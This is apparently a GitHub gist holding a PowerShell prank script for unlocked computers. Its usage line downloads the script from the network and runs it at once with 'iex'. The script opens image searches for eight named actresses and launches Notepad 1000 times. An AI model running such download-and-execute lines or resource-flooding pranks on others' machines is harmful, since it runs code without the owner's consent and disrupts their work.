Last active
March 18, 2016 15:30
-
-
Save tirolo/3f1f751cb62cdc5a1c8e to your computer and use it in GitHub Desktop.
iex ((new-object net.webclient).DownloadString('https://gist.githubusercontent.com/tirolo/3f1f751cb62cdc5a1c8e/raw/lock-your-computer.ps1'))
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$names = @("Scarlett Johansson", "Kim Kardashian West", "Megan Fox", "Eva Mendes", "Sofía Vergara", "Penélope Cruz", "Angelina Jolie", "Malin Akerman") | |
foreach ($name in $names) | |
{ | |
start "https://www.google.co.uk/search?q=$name&source=lnms&tbm=isch&sa=X&ved=0ahUKEwjD3KCJv8rLAhXEtRQKHYVADrAQ_AUIBygB&biw=1440&bih=839" | |
} | |
$filePath = Join-Path $env:TEMP "lock-your-machine.txt" | |
Set-Content -Path $filePath -Value "LOCK YOUR COMPUTER!" | |
for($i=1; $i -le 1000; $i++){ notepad $filePath } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment